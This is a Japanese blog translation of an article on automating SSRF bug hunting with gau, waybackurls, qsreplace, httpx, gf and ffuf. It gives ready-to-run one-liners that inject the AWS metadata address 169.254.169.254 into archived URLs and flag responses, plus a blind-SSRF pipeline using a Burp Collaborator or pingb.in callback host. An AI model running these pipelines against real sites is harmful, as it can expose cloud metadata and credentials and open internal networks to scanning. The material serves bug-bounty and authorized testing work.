Shikata Ga Nai

Private? There is no such things.

Finding SSRF BY Full Automationを訳してみた

Hello there, ('ω')ノ

 

フルオートメーションによるSSRFの検索を。

 

脆弱性:

 SSRF

 

記事:

 https://notifybugme.medium.com/finding-ssrf-by-full-automation-7d2680091d68

 

今回は、ssrfの脆弱性を自動化して。

個人情報のアマゾンメタデータ、ec2、クラウドサービスをリークすることで。

ssrfの脆弱性を見つける方法について説明することに。

 

自動化によるSSRFバグを探す場合のヒント:

 

必要なツール:

    gf (tomnomnom)

  https://github.com/tomnomnom/gf

 

f:id:ThisIsOne:20210907125321p:plain


    qsreplace(tomnomnom)

  https://github.com/tomnomnom/qsreplace

 

f:id:ThisIsOne:20210907125352p:plain


    ffuf

  https://github.com/ffuf/ffuf

 

f:id:ThisIsOne:20210907125416p:plain


    gau(Corben)

  https://github.com/lc/gau

 

f:id:ThisIsOne:20210907125452p:plain


    waybackurls(tomnomnom)

  https://github.com/tomnomnom/waybackurls

 

f:id:ThisIsOne:20210907125519p:plain

 

Case#1:curlとbashを使用するだけで自動化されたSSRFメタデータへのアクセス

 

ここでは、ssrfによる内部メタデータへのアクセスを取得して。

Wayback MachineからすべてのURLを収集して。

ssrfによる内部データへのアクセスを探して。

 

ターゲットをtargetme.comと仮定すると。

ここで、内部メタデータにアクセスするための。

ssrfを見つけるプロセスを処理することに。

 

URLを取得するためのコマンド:

 waybackurl targetme.com >> blindssrftesturl.txt

 gau -subs targetme.com >> blindssrftesturl.txt

 cat blindssrftesturl.txt | sort -u | anew | httpx | qsreplace ‘http://169.254.169.254/latest/meta-data/hostname’ | xargs -I % -P 25 sh -c ‘curl -ks “%” 2>&1 | grep ”compute.internal” && echo “SSRF VULN! %”’

 


Case#2:curlとbashを使用するだけで自動化されたブラインドSSRFの発見

 

ここで、ブラインドssrfを探すために。

ブラインドssrfをテストするためのすべてのURLを取得する必要があって。

それは、Wayback MachineからURLを取得できて。

ターゲットをtargetme.comと仮定すると。

ブラインドssrfを見つけるプロセスを処理することに。

 

URLを取得するためのコマンド:

 waybackurl targetme.com >> blindssrftesturl.txt

 gau -subs targetme.com >> blindssrftesturl.txt

 

すべてのURLを取得した後にすべてのURLを並べ替えて解決し、誤検知を削除して。

 cat blindssrftesturl.txt | sort -u | anew | httpx | tee -a prefinal_ssrftesturl.txt

 

ここで、ssrfに対して脆弱なパラメータを持つすべてのURLを。

抽出するためにgfを使用して。

 cat prefinal_ssrftesturl.txt | gf ssrf >> final_ssrftesturl.txt

 

最後に、FFUFとBurp collaborator serverを使用して。

もしくは、pingb.inを使用して自動化することもできて。

 cat final_ssrftesturl.txt | qsreplace “Burp collaborator server” >> ssrf_auto-ffuf.txt

 ffuf -c -w ssrf_auto-ffuf.txt -u FUZZ

 

次に、DNSpingbackが、Burp collaborator serverに。

ヒットしていないかどうかを確認して。

pingが返ってきたら、内部ポートスキャンに進むことに。

 

Best regards, (^^ゞ